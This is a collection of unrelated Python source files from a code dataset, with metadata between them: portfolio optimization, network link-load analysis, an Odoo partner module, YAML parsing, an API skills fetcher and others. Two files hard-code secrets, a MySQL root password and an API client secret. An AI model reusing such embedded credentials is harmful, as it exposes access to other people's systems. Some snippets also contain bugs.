np.sum(x,axis=1)\n \n dividend_weights = x.div(y,axis=0)\n\n return dividend_weights\n\n#etf_weights = calculate_dividend_weights(dividends)\n\ndef generate_returns(prices):\n\n returns = prices/prices.shift(1)-1\n \n return returns\n\nreturns = generate_returns(close)\n\ndef generate_weighted_returns(returns, weights):\n\n assert returns.index.equals(weights.index)\n assert returns.columns.equals(weights.columns)\n \n weighted_returns = returns*weights\n \n return weighted_returns\n\nindex_weighted_returns = generate_weighted_returns(returns, index_weights)\n#etf_weighted_returns = generate_weighted_returns(returns, etf_weights)\n\ndef calculate_cumulative_returns(returns):\n\n df = returns.sum(axis=1)\n cumulative_returns = (df+1).cumprod(axis=0)\n\n return cumulative_returns\n\nindex_weighted_cumulative_returns = calculate_cumulative_returns(index_weighted_returns)\n#etf_weighted_cumulative_returns = calculate_cumulative_returns(etf_weighted_returns)\n\ndef tracking_error(benchmark_returns_by_date, etf_returns_by_date):\n\n assert benchmark_returns_by_date.index.equals(etf_returns_by_date.index)\n \n tracking_error = np.sqrt(252)*np.std(etf_returns_by_date - benchmark_returns_by_date,ddof=1)\n\n return tracking_error\n\n#smart_beta_tracking_error = tracking_error(np.sum(index_weighted_returns, 1), np.sum(etf_weighted_returns, 1))\n#print('Smart Beta Tracking Error: {}'.format(smart_beta_tracking_error))\n\n\n#Part 2: Portfolio Optimization\n\ndef get_covariance_returns(returns):\n\n returns_f = returns.fillna(0)\n returns_tr = np.transpose(returns_f)\n returns_covariance = np.cov(returns_tr.values)\n \n return returns_covariance\n\ncovariance_returns = get_covariance_returns(returns)\ncovariance_returns = pd.DataFrame(covariance_returns, returns.columns, returns.columns)\n\ncovariance_returns_correlation = np.linalg.inv(np.diag(np.sqrt(np.diag(covariance_returns))))\ncovariance_returns_correlation = pd.DataFrame(\n covariance_returns_correlation.dot(covariance_returns).dot(covariance_returns_correlation),\n covariance_returns.index,\n covariance_returns.columns)\n#print (covariance_returns_correlation)\n\ndef get_optimal_weights(covariance_returns, index_weights, scale=2.0):\n\n assert len(covariance_returns.shape) == 2\n assert len(index_weights.shape) == 1\n assert covariance_returns.shape[0] == covariance_returns.shape[1] == index_weights.shape[0]\n \n x = cvx.Variable(len(covariance_returns))\n \n P = covariance_returns\n \n portfolio_variance = cvx.quad_form(x,P)\n \n distance_to_index = cvx.norm(x-index_weights, p=2, axis=None)\n \n constraints = [x >= 0, sum(x) == 1]\n \n objective = cvx.Minimize(portfolio_variance+scale*distance_to_index)\n\n problem = cvx.Problem(objective, constraints)\n \n min_value = problem.solve()\n\n return x.value\n\n\nraw_optimal_single_rebalance_etf_weights = get_optimal_weights(covariance_returns.values, index_weights.iloc[-1])\noptimal_single_rebalance_etf_weights = pd.DataFrame(\n np.tile(raw_optimal_single_rebalance_etf_weights, (len(returns.index), 1)),\n returns.index,\n returns.columns)\n\noptim_etf_returns = generate_weighted_returns(returns, optimal_single_rebalance_etf_weights)\noptim_etf_cumulative_returns = calculate_cumulative_returns(optim_etf_returns)\n\noptim_etf_tracking_error = tracking_error(np.sum(index_weighted_returns, 1), np.sum(optim_etf_returns, 1))\nprint('Optimized ETF Tracking Error: {}'.format(optim_etf_tracking_error))\n\ndef rebalance_portfolio(returns, index_weights, shift_size, chunk_size):\n \n assert returns.index.equals(index_weights.index)\n assert returns.columns.equals(index_weights.columns)\n assert shift_size > 0\n assert chunk_size >= 0\n \n all_rebalance_weights = []\n\n for shift in range(chunk_size,len(returns),shift_size):\n start = shift - chunk_size\n covariance_returns = get_covariance_returns(returns.iloc[start:shift])\n weights = get_optimal_weights(covariance_returns=covariance_returns, index_weights=index_weights.iloc[start:shift].iloc[-1], scale=2.0)\n all_rebalance_weights.append(weights)\n \n return all_rebalance_weights\n\nchunk_size = 250\nshift_size = 5\nall_rebalance_weights = rebalance_portfolio(returns, index_weights, shift_size, chunk_size)\n\ndef get_portfolio_turnover(all_rebalance_weights, shift_size, rebalance_count, n_trading_days_in_year=252):\n\n assert shift_size > 0\n assert rebalance_count > 0\n \n df = pd.DataFrame(data=all_rebalance_weights,index=range(len(all_rebalance_weights)),columns=range(len(all_rebalance_weights[0])))\n \n difference = []\n\n for i in df.columns:\n diff = abs(df[i]-df[i].shift(-1))\n difference.append(diff)\n \n df_diff = pd.DataFrame(data=difference,index=range(len(difference)))\n \n total = df_diff.T.sum(axis=1)\n portfolio_turnover = total.sum()*252/(rebalance_count*shift_size)\n \n return portfolio_turnover\n \nprint(get_portfolio_turnover(all_rebalance_weights, shift_size, len(all_rebalance_weights) - 1))\n","sub_path":"Project_3_Smart_Beta_and_Portfolio_Optimization.py","file_name":"Project_3_Smart_Beta_and_Portfolio_Optimization.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"398446120","text":"import networkx as nx\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mygeo import getgeo, geodist \nimport itertools\nimport random\nimport pickle\nimport argparse\n\nmu=1e9/8000 #link speed in pkts/sec\nlightspeed=300000.0 #Km/sec\n\ndef listStats(L):\n\t#Returns the mean and maximum values of a list of numbers with generic keys\n\t#\treturns also the key of the maximum value\n\tV=L.values()\n\tK=L.keys()\n\tmeanL=np.mean(V)\n\tmaxL=np.max(V)\n\tp=np.where(V==M)[0][0]\n\tmaxLK=K[p]\n\treturn meanL, maxL, maxLK\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--file', nargs='?', help='input network file', default='network.dat')\nargs=parser.parse_args()\n\nfilename=args.file \n\nwith open(filename) as f:\n\tnodes, links, pos, tm = pickle.load(f)\n\nprint(tm)\n\nnet=nx.DiGraph()\nfor node in nodes:\n\tnet.add_node(node)\n\t\nfor link in links:\n\tdist=geodist((pos[link[0]][1],pos[link[0]][0]),(pos[link[1]][1],pos[link[1]][0]))\n\tnet.add_edge(link[0],link[1],distance=dist, load=0, delay=0)\n\tnet.add_edge(link[1],link[0],distance=dist, load=0, delay=0)\n\t#print(link,dist,(pos[link[0]][1],pos[link[0]][0]),(pos[link[1]][1],pos[link[1]][0]))\n\nnx.draw(net,pos,with_labels=True)\nplt.show()\n\nallpairs=list(itertools.permutations(nodes,2))\nsol={}\n\nfor pair in allpairs:\n\tpath=nx.shortest_path(net,pair[0],pair[1],weight='distance')\n\tsol.update({pair:path})\n\tfor i in range(0,len(path)-1):\n\t\tnet[path[i]][path[i+1]]['load']+=tm[pair[0]][pair[1]]\n\t\t\t\n\n#print path3\nprint('---')\nprint('Solution:'+str(sol))\nlinkLodMean = 0\nmaxLinkLoad = 0\nsumm = 0\ndelayMean = 0\nmaxDelay = 0\nprint('---')\nfor link in links:\n\tprint(\"#link %s-%s: %d pkts/sec, avg delay:%s\"%(link[0],link[1],net[link[0]][link[1]]['load'],(1/(mu - net[link[0]][link[1]]['load']))))\n\tprint(\"#link %s-%s: %d pkts/sec, avg delay:%s\"%(link[1],link[0],net[link[1]][link[0]]['load'],(1/(mu - net[link[1]][link[0]]['load']))))\n\tprint(\"Load both directions: %d\"%(net[link[0]][link[1]]['load']+net[link[1]][link[0]]['load']))\n\t\n\tif ((net[link[0]][link[1]]['load']) > maxLinkLoad):\n\t\tmaxLinkLoad = net[link[0]][link[1]]['load']\n\t\n\tif ((net[link[1]][link[0]]['load']) > maxLinkLoad):\t\n\t\tmaxLinkLoad = net[link[1]][link[0]]['load']\n\t\t\n\tif(1/(mu - net[link[0]][link[1]]['load']) > maxDelay):\n\t\tmaxDelay = 1/(mu - net[link[0]][link[1]]['load'])\n\t\t#print(\"Pior fluxo: %s-%s\"%(link[0],link[1]))\n\t\n\tif(1/(mu - net[link[1]][link[0]]['load']) > maxDelay):\t\n\t\tmaxDelay = 1/(mu - net[link[1]][link[0]]['load'])\n\t\t#print(\"Pior fluxo: %s-%s\"%(link[1],link[0]))\n\n\tlinkLodMean = linkLodMean + net[link[0]][link[1]]['load']\n\tlinkLodMean = linkLodMean + net[link[1]][link[0]]['load']\n\tsumm = summ + 2\n\tdelayMean = delayMean + 1/(mu - net[link[0]][link[1]]['load'])\n\tdelayMean = delayMean + 1/(mu - net[link[1]][link[0]]['load'])\n\t\nprint(\" Average Link Load: %s\"%(linkLodMean/summ) )\nprint(\" Average Delay: %s\"%(delayMean/summ))\nprint(\"Fluxo maior atraso (pior condicao): %s\"%maxDelay)\nprint(\"Link Load maximo: %s\"%maxLinkLoad);\n\n#for s in sol:\n\t#if(len(s) > 1):\n\t\t#print(\"#link %s-%s: %d pkts/sec, avg delay:%s\"%(s[0],s[-1],net[link[0]][link[1]]['load'],(1/(mu - net[link[0]][link[1]]['load']))))\n\t\t#print(\"#link %s-%s: %d pkts/sec, avg delay:%s\"%(s[-1],s[0],net[link[1]][link[0]]['load'],(1/(mu - net[link[0]][link[1]]['load']))))\n\t\t#print(\"Load both directions: %d\"%(net[link[0]][link[1]]['load']+net[link[1]][link[0]]['load']))\n\t\t\n\t#i = len(s)\n\t#interLoadAB=0\n\t#interLoadBA=0\n\t#a=0\n\t#b=1\n\t#if(len(s)>=3):\n\t\t#while(i > 0):\n\t\t\t#interLoadAB = interLoadAB + net[link[a]][link[b]]['load']\n\t\t\t#interLoadBA=interLoadBA +net[link[b]][link[a]]['load']\n\t\t\t#a = a+1\n\t\t\t#b=b+1\n\t\t\t#i=i-1\n\t\t#print(\"#link %s-%s: %d pkts/sec, avg delay:%s\"%(s[0],s[-1],interLoadAB,(1/(mu -interLoadAB))))\n\t\t#print(\"#link %s-%s: %d pkts/sec, avg delay:%s\"%(s[-1],s[0],interLoadBA,(1/(mu - interLoadAB))))\n\n\n\t\n\t\n\t\n\t\n\t\n","sub_path":"Trabalho4/NetTE1.py","file_name":"NetTE1.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"408881816","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# @Time : 2019/9/26 0019\n# @Author : Zhangzhicong\n# @Software: PyCharm\n\nimport pymysql\nimport os\nimport datetime\nimport time\n\nthreeDayAgo = (datetime.datetime.now() - datetime.timedelta(days = 3))\ntimeStamp = int(time.mktime(threeDayAgo.timetuple()))\nprint(timeStamp)\nclass DBHelper:\n def __init__(self): # 初始化\n self.db = pymysql.connect(host = \"192.168.6.73\", user='root', passwd='#EDC4rfv', charset='utf8')\n self.cursor = self.db.cursor(cursor=pymysql.cursors.DictCursor)\n self.db.commit()\n\n # 执行modify(修改)相关操作\n def execute_modify_mysql(self, sql, parm=None): # 实现一个插入,修改\n self.cursor.execute(sql, parm)\n data = self.cursor.fetchall()\n self.db.commit()\n return data\n\n # 执行modify(修改)相关操作\n def execute_modify_many_mysql(self, sql, parm=None): # 实现多个插入,修改\n self.cursor.executemany(sql, parm)\n data = self.cursor.fetchall()\n self.db.commit()\n return data\n # 魔术方法, 析构化, 析构函数\n def __del__(self): # 结束\n self.cursor.close()\n self.db.close()\n\nSQL = DBHelper()\n# idrc_data= SQL.execute_modify_mysql('''delete from idrc.process_temp where timeout < {}'''.format(timeStamp))\nidrc_data= SQL.execute_modify_mysql('''select * from idrc.process_temp where timeout < {}'''.format(timeStamp))\nprint(idrc_data)\n","sub_path":"mongodb/press_test/delete_timeout.py","file_name":"delete_timeout.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"548235552","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 15 16:43:29 2020\n\n@author: Asifulla K\n\"\"\"\nclass GreaterException(Exception):\n def __init__(self,message):\n self.msg=message\n def __str__(self):\n return self.msg\nL=[]\ni=0\nsum=0\nwhile(i<=10):\n print(\"enter an element\")\n data=int(input())\n L.insert(i,data)\n sum=sum+data\n i=i+1\nprint(\"sum is\", sum)\ntry:\n if(sum>50):\n e=GreaterException(\"error, value>50\")\n raise e\n else:\n print(\"the value is less than or equal to 50\")\nexcept Exception as e:\n print(e) ","sub_path":"python/GreaterException.py","file_name":"GreaterException.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"75190782","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api\nfrom odoo.exceptions import UserError, ValidationError\nimport requests\nimport json\nfrom io import StringIO, BytesIO\nimport os\nimport logging\nimport re\n_logger = logging.getLogger(__name__)\n\npatron_ruc = re.compile(\"[12]\\d{10}$\")\npatron_dni = re.compile(\"\\d{8}$\")\n\n\nclass ResPartner(models.Model):\n _inherit = \"res.partner\"\n\n registration_name = fields.Char('Name', size=128, index=True)\n estado_contribuyente = fields.Char(string='Estado del Contribuyente')\n msg_error = fields.Char(readonly=True)\n\n l10n_latam_identification_type_id = fields.Many2one('l10n_latam.identification.type',\n string=\"Tipo de documento de identidad\", index=True, auto_join=True,\n default=lambda self: self.env.ref('gestionit_pe_consulta_ruc_dni.it_RUC', raise_if_not_found=False),\n help=\"Tipo de documento de identidad\")\n \n street_invoice_ids = fields.One2many(\"res.partner\",\"parent_id\",string=\"Facturación\",domain=[(\"type\",\"=\",\"invoice\")])\n street_delivery_ids = fields.One2many(\"res.partner\",\"parent_id\",string=\"Direcciones\",domain=[(\"type\",\"in\",[\"delivery\",\"other\",\"private\"])])\n\n @api.model\n def default_get(self,field_list):\n res = super(ResPartner, self).default_get(field_list)\n if self.env.context.get(\"no_doc\"):\n res.update({\"l10n_latam_identification_type_id\": self.env.ref(\"l10n_pe.it_NDTD\").id,\"vat\":\"0\"})\n return res\n\n def _get_name(self):\n partner = self\n name = partner.name or ''\n name = super(ResPartner, self)._get_name()\n if self._context.get(\"show_vat_first\") and partner.vat:\n name = \"%s ‒ %s\" % (partner.vat, name)\n return name\n\n @api.onchange('partner_id')\n def onchange_partner_id(self):\n return super(ResPartner, self).with_context(show_vat=True).onchange_partner_id()\n\n\n @api.model\n def _commercial_fields(self):\n return []\n \n @api.model\n def _check_valid_ruc(self,ruc):\n if patron_ruc.match(ruc):\n vat_arr = [int(c) for c in ruc]\n arr = [5,4,3,2,7,6,5,4,3,2]\n s = sum([vat_arr[r]*arr[r] for r in range(0,10)])\n num_ver = (11-s%11)%10\n if vat_arr[10] != num_ver:\n return False\n else:\n return False\n return True\n \n @api.constrains('vat','l10n_latam_identification_type_id')\n def _check_valid_numero_documento(self):\n vat_str = (self.vat or \"\").strip()\n if self.l10n_latam_identification_type_id and self.type in [\"contact\"]:\n if self.l10n_latam_identification_type_id.l10n_pe_vat_code == \"6\":\n if not self._check_valid_ruc(vat_str):\n raise UserError(\"El número de RUC ingresado es inválido.\")\n\n if self.l10n_latam_identification_type_id.l10n_pe_vat_code == \"1\":\n if not patron_dni.match(vat_str):\n raise UserError(\"El número de DNI ingresado es inválido\")\n \n\n @api.onchange(\"street\",\"type\")\n def get_name_street(self):\n if self.type == \"delivery\" and not self.name:\n self.name = self.street or \"-\"\n\n\n @api.onchange('l10n_latam_identification_type_id', 'vat')\n def vat_change(self):\n self.update_document()\n\n @api.model\n def request_migo_dni(self, dni):\n user_id = self.env.context.get('uid', False)\n if user_id:\n user = self.env[\"res.users\"].sudo().browse(user_id)\n url = user.company_id.api_migo_endpoint + \"dni\"\n token = user.company_id.api_migo_token\n try:\n headers = {\n 'Content-Type': 'application/json'\n }\n data = {\n \"token\": token,\n \"dni\": dni\n }\n res = requests.request(\n \"POST\", url, headers=headers, data=json.dumps(data))\n res = res.json()\n\n if res.get(\"success\", False):\n return res.get(\"nombre\", False)\n return None\n except Exception as e:\n return None\n\n @api.model\n def request_migo_ruc(self, ruc):\n user_id = self.env.context.get('uid', False)\n errors = []\n\n if user_id:\n user = self.env[\"res.users\"].sudo().browse(user_id)\n\n if not user.company_id.api_migo_endpoint:\n errors.append(\"Debe configurar el end-point del API\")\n if not user.company_id.api_migo_token:\n errors.append(\"Debe configurar el token del API\")\n if len(errors) > 0:\n raise UserError(\"\\n\".join(errors))\n else:\n url = user.company_id.api_migo_endpoint + \"ruc\"\n token = user.company_id.api_migo_token\n\n try:\n headers = {\n 'Content-Type': 'application/json'\n }\n data = {\n \"token\": token,\n \"ruc\": ruc\n }\n res = requests.request(\n \"POST\", url, headers=headers, data=json.dumps(data))\n res = res.json()\n\n if res.get(\"success\", False):\n return res\n return None\n except Exception as e:\n return None\n\n return None\n\n @api.model\n def _esrucvalido(self, vat_str):\n if patron_ruc.match(vat_str) :\n vat_arr = [int(c) for c in vat_str]\n arr = [5,4,3,2,7,6,5,4,3,2]\n s = sum([vat_arr[r]*arr[r] for r in range(0,10)])\n num_ver = (11-s%11)%10\n if vat_arr[10] != num_ver:\n return False\n return True\n else:\n return False\n\n # @api.one\n def update_document(self):\n self.ensure_one()\n if not self.vat:\n return False\n if self.l10n_latam_identification_type_id.l10n_pe_vat_code == '1':\n # Valida DNI\n if self.vat:\n self.vat = self.vat.strip()\n if self.vat and len(self.vat) != 8:\n self.msg_error = 'El DNI debe tener 8 caracteres'\n # if not self._esrucvalido(self.vat):\n # self.msg_error = \"El DNI no es Válido\"\n else:\n nombre_entidad = self.request_migo_dni(self.vat)\n if nombre_entidad:\n self.name = nombre_entidad\n self.registration_name = nombre_entidad\n # self.district_id = \"\"\n # self.province_id = \"\"\n # self.state_id = \"\"\n # self.country_id = \"\"\n # self.zip = \"\"\n # self.street = \"\"\n else:\n self.name = \" - \"\n self.registration_name = \" - \"\n # self.district_id = \"\"\n # self.province_id = \"\"\n # self.state_id = \"\"\n # self.country_id = \"\"\n # self.zip = \"\"\n # self.street = \"\"\n\n elif self.l10n_latam_identification_type_id.l10n_pe_vat_code == '6':\n # Valida RUC\n if self.vat and len(self.vat) != 11:\n self.msg_error = \"El RUC debe tener 11 carácteres\"\n if not self._esrucvalido(self.vat):\n self.msg_error = \"El RUC no es Válido\"\n else:\n d = self.request_migo_ruc(self.vat)\n _logger.info(d) \n if not d:\n self.name = \" - \"\n return True\n if not d[\"success\"]:\n self.name = \" - \"\n return True\n\n ditrict_obj = self.env['res.country.state']\n prov_ids = ditrict_obj.search([('name', '=', d['provincia']),\n ('province_id', '=', False),\n ('state_id', '!=', False)])\n dist_id = ditrict_obj.search([('name', '=', d['distrito']),\n ('province_id', '!=', False),\n ('state_id', '!=', False),\n ('province_id', 'in', [x.id for x in prov_ids])], limit=1)\n if dist_id:\n self.district_id = dist_id.id\n self.province_id = dist_id.province_id.id\n self.state_id = dist_id.state_id.id\n self.country_id = dist_id.country_id.id\n\n \n self.estado_contribuyente = d['estado_del_contribuyente']\n\n self.name = d['nombre_o_razon_social']\n self.registration_name = d['nombre_o_razon_social']\n self.ubigeo = d[\"ubigeo\"]\n self.street = d['direccion']\n self.is_company = True\n self.company_type = \"company\"\n else:\n True\n\n def _onchange_country(self):\n return\n","sub_path":"addons/gestionit_pe_consulta_ruc_dni/models/res_partner.py","file_name":"res_partner.py","file_ext":"py","file_size_in_byte":9296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"499788151","text":"import subprocess\nimport sys\nimport logging\nimport yaml\nfrom yaml.loader import Reader, Scanner, Parser, Composer, SafeConstructor, Resolver\nfrom dictknife.langhelpers import reify\n\nlogger = logging.getLogger(__name__)\n\n\nclass Store:\n def __init__(self):\n self.node_cache = {} # weak reference?\n # need path ?\n\n def add_node(self, name, node, r):\n logger.debug(\"add_node %s\", name)\n if r is None:\n return r\n self.node_cache[id(r)] = node\n return r\n\n\nclass WrappedConstructor(SafeConstructor):\n @reify\n def store(self):\n return Store()\n\n def construct_object(self, node, deep=False):\n r = super().construct_object(node, deep=deep)\n self.store.add_node(\"construct_object\", node, r)\n return r\n\n def construct_sequence(self, node, deep=False):\n r = super().construct_sequence(node, deep=deep)\n self.store.add_node(\"construct_sequence\", node, r)\n return r\n\n def construct_mapping(self, node, deep=False):\n r = super().construct_mapping(node, deep=deep)\n self.store.add_node(\"construct_mapping\", node, r)\n return r\n\n\n# copie from pyyaml\nclass Loader(Reader, Scanner, Parser, Composer, WrappedConstructor, Resolver):\n def __init__(self, stream):\n Reader.__init__(self, stream)\n Scanner.__init__(self)\n Parser.__init__(self)\n Composer.__init__(self)\n WrappedConstructor.__init__(self)\n Resolver.__init__(self)\n\n\nclass LoaderFactory:\n def __init__(self, loader_class):\n self.loader_class = loader_class\n self.store = Store()\n\n def __call__(self, rf):\n loader = self.loader_class(rf)\n loader.store = self.store\n return loader\n\n\ndef desc(data, node_cache):\n print(\"----------------------------------------\")\n\n print(data)\n node = node_cache[id(data)]\n print(\":\", node.start_mark, getattr(node, \"end_mark\", None))\n\n print(\"----------------------------------------\")\n\n k = data[\"parents\"][0]\n print(k)\n node = node_cache[id(k)]\n print(\":\", node.start_mark, getattr(node, \"end_mark\", None))\n\n print(\"----------------------------------------\")\n subprocess.run([\"cat\", \"-n\", sys.argv[1]])\n\n\ndef main():\n filename = sys.argv[1]\n loader_factory = LoaderFactory(Loader)\n\n with open(filename) as rf:\n data = yaml.load(rf, Loader=loader_factory)\n\n node_cache = loader_factory.store.node_cache\n desc(data, node_cache)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO, format=\"%(message)s\")\n main()\n","sub_path":"daily/20190816/example_linter/06parse.py","file_name":"06parse.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"88036099","text":"import requests\r\nimport json\r\nimport wikipedia as wp\r\nimport pandas as pd\r\nfrom pandas import json_normalize\r\nimport re\r\n\r\ndef skills_list_extraction():\r\n auth_endpoint = \"https://auth.emsicloud.com/connect/token\" # auth endpoint\r\n\r\n client_id = \"r6tueqfc2eglnvbh\"\r\n client_secret = \"41QN7WBO\"\r\n scope = \"emsi_open\"\r\n\r\n payload = \"client_id=\" + client_id + \"&client_secret=\" + client_secret + \"&grant_type=client_credentials&scope=\" + scope # set credentials and scope\r\n headers = {'content-type': 'application/x-www-form-urlencoded'} # headers for the response\r\n access_token = json.loads((requests.request(\"POST\", auth_endpoint, data=payload, headers=headers)).text)[\r\n 'access_token'] # grabs request's text and loads as JSON, then pulls the access token from that\r\n\r\n def extract_skills_list():\r\n all_skills_endpoint = \"https://emsiservices.com/skills/versions/latest/skills\" # List of all skills endpoint\r\n auth = \"Authorization: Bearer \" + access_token # Auth string including access token from above\r\n headers = {'authorization': auth} # headers\r\n response = requests.request(\"GET\", all_skills_endpoint, headers=headers) # response\r\n response = response.json()['data'] # the data\r\n\r\n all_skills_df = pd.DataFrame(\r\n json_normalize(response)); # Where response is a JSON object drilled down to the level of 'data' key\r\n return all_skills_df\r\n\r\n skills_dataset = extract_skills_list()\r\n skills_dataset['name'] = skills_dataset['name'].str.lower()\r\n skills_dataset['name'] = skills_dataset['name'].apply(lambda x: re.sub(\"\\(.*\\)\", \"\", x))\r\n skills_dataset['name'] = skills_dataset['name'].apply(lambda x: re.sub(' +', ' ', x))\r\n skills_dataset['name'] = skills_dataset['name'].apply(lambda x: x.strip())\r\n skills_list = list(skills_dataset['name'])\r\n return skills_list","sub_path":"skillsapi.py","file_name":"skillsapi.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"236636823","text":"# Time Complexity :O(n)\n# Space Complexity :O(log n)-For recursion call stack\n# T(n) = 2 T(n/2) + 2\n# T(2) = 1\n# T(1) = 0\n# We can solve this recurrence relation by master method/recursion tree method.\n# if n is a power of 2\n# T(n) = 3n/2 - 2 comparisions\n#If arr size is 1: return the first element as min and max\n#If the array size is 2: Compare between two numbers and return min and max\n#Else recursively store and calculate min and max of the left and right array. \n#determine the minimum and maximum value after comparision.\n\n\ndef MinMax(l,r,arr):\n arr_max=arr[l]\n arr_min=arr[l]\n if l==r:\n arr_max=arr[l]\n arr_min=arr[l]\n return (arr_max,arr_min)\n elif r==l+1:\n if arr[l]>arr[r]:\n \n arr_max=arr[l]\n arr_min=arr[r]\n else:\n arr_min=arr[l]\n arr_max=arr[r]\n\n return (arr_max,arr_min)\n \n else:\n mid=l+(r-l)//2\n arr_max1,arr_min1=MinMax(l,mid,arr)\n arr_max2,arr_min2=MinMax(mid+1,r,arr)\n return(max(arr_max1,arr_max2),min(arr_min1,arr_min2))\n\n \n \n","sub_path":"MinMax.py","file_name":"MinMax.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"342875943","text":"#!/usr/bin/env python\n#\n# Copyright 2016 Google Inc.\n#\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\n\"\"\"\nUsage: gn_to_cmake.py \n\ngn gen out/config --ide=json --json-ide-script=../../gn/gn_to_cmake.py\n\nor\n\ngn gen out/config --ide=json\npython gn/gn_to_cmake.py out/config/project.json\n\"\"\"\n\n\nimport json\nimport posixpath\nimport os\nimport sys\n\n\ndef CMakeStringEscape(a):\n \"\"\"Escapes the string 'a' for use inside a CMake string.\n\n This means escaping\n '\\' otherwise it may be seen as modifying the next character\n '\"' otherwise it will end the string\n ';' otherwise the string becomes a list\n\n The following do not need to be escaped\n '#' when the lexer is in string state, this does not start a comment\n \"\"\"\n return a.replace('\\\\', '\\\\\\\\').replace(';', '\\\\;').replace('\"', '\\\\\"')\n\n\ndef SetVariable(out, variable_name, value):\n \"\"\"Sets a CMake variable.\"\"\"\n out.write('set(')\n out.write(variable_name)\n out.write(' \"')\n out.write(CMakeStringEscape(value))\n out.write('\")\\n')\n\n\ndef SetVariableList(out, variable_name, values):\n \"\"\"Sets a CMake variable to a list.\"\"\"\n if not values:\n return SetVariable(out, variable_name, \"\")\n if len(values) == 1:\n return SetVariable(out, variable_name, values[0])\n out.write('list(APPEND ')\n out.write(variable_name)\n out.write('\\n \"')\n out.write('\"\\n \"'.join([CMakeStringEscape(value) for value in values]))\n out.write('\")\\n')\n\n\ndef SetFilesProperty(output, variable, property_name, values, sep):\n \"\"\"Given a set of source files, sets the given property on them.\"\"\"\n output.write('set_source_files_properties(')\n WriteVariable(output, variable)\n output.write(' PROPERTIES ')\n output.write(property_name)\n output.write(' \"')\n for value in values:\n output.write(CMakeStringEscape(value))\n output.write(sep)\n output.write('\")\\n')\n\n\ndef SetTargetProperty(out, target_name, property_name, values, sep=''):\n \"\"\"Given a target, sets the given property.\"\"\"\n out.write('set_target_properties(')\n out.write(target_name)\n out.write(' PROPERTIES ')\n out.write(property_name)\n out.write(' \"')\n for value in values:\n out.write(CMakeStringEscape(value))\n out.write(sep)\n out.write('\")\\n')\n\n\ndef WriteVariable(output, variable_name, prepend=None):\n if prepend:\n output.write(prepend)\n output.write('${')\n output.write(variable_name)\n output.write('}')\n\n\ndef GetBaseName(target_name):\n base_name = posixpath.basename(target_name)\n sep = base_name.rfind(\":\")\n if sep != -1:\n base_name = base_name[sep+1:]\n return base_name\n\n\ndef GetOutputName(target_name, target_properties):\n output_name = target_properties.get(\"output_name\", None)\n if output_name is None:\n output_name = GetBaseName(target_name)\n output_extension = target_properties.get(\"output_extension\", None)\n if output_extension is not None:\n output_name = posixpath.splitext(output_name)[0]\n if len(output_extension):\n output_name += \".\" + output_extension\n return output_name\n\n\ndef GetAbsolutePath(root_path, path):\n if path.startswith(\"//\"):\n return root_path + \"/\" + path[2:]\n else:\n return path\n\n\n# See GetSourceFileType in gn\nsource_file_types = {\n '.cc': 'cxx',\n '.cpp': 'cxx',\n '.cxx': 'cxx',\n '.c': 'c',\n '.s': 'asm',\n '.S': 'asm',\n '.asm': 'asm',\n '.o': 'obj',\n '.obj': 'obj',\n}\n\n\nclass CMakeTargetType(object):\n def __init__(self, command, modifier, property_modifier, is_linkable):\n self.command = command\n self.modifier = modifier\n self.property_modifier = property_modifier\n self.is_linkable = is_linkable\nCMakeTargetType.custom = CMakeTargetType('add_custom_target', 'SOURCES',\n None, False)\n\n# See GetStringForOutputType in gn\ncmake_target_types = {\n 'unknown': CMakeTargetType.custom,\n 'group': CMakeTargetType.custom,\n 'executable': CMakeTargetType('add_executable', None, 'RUNTIME', True),\n 'loadable_module': CMakeTargetType('add_library', 'MODULE', 'LIBRARY', True),\n 'shared_library': CMakeTargetType('add_library', 'SHARED', 'LIBRARY', True),\n 'static_library': CMakeTargetType('add_library', 'STATIC', 'ARCHIVE', False),\n 'source_set': CMakeTargetType('add_library', 'OBJECT', None, False),\n 'action': CMakeTargetType.custom,\n 'action_foreach': CMakeTargetType.custom,\n 'bundle_data': CMakeTargetType.custom,\n 'create_bundle': CMakeTargetType.custom,\n}\n\n\nclass Target(object):\n def __init__(self, gn_name, targets):\n self.gn_name = gn_name\n self.properties = targets[self.gn_name]\n self.cmake_name = GetOutputName(self.gn_name, self.properties)\n self.gn_type = self.properties.get('type', None)\n self.cmake_type = cmake_target_types.get(self.gn_type, None)\n\n\ndef WriteCompilerFlags(out, target, targets, root_path, sources):\n # Hack, set linker language to c if no c or cxx files present.\n if not 'c' in sources and not 'cxx' in sources:\n SetTargetProperty(out, target.cmake_name, 'LINKER_LANGUAGE', ['C'])\n\n # Mark uncompiled sources as uncompiled.\n if 'other' in sources:\n out.write('set_source_files_properties(')\n WriteVariable(out, sources['other'], '')\n out.write(' PROPERTIES HEADER_FILE_ONLY \"TRUE\")\\n')\n\n # Mark object sources as linkable.\n if 'obj' in sources:\n out.write('set_source_files_properties(')\n WriteVariable(out, sources['obj'], '')\n out.write(' PROPERTIES EXTERNAL_OBJECT \"TRUE\")\\n')\n\n # TODO: 'output_name', 'output_dir', 'output_extension'\n\n # Includes\n includes = target.properties.get('include_dirs', [])\n if includes:\n 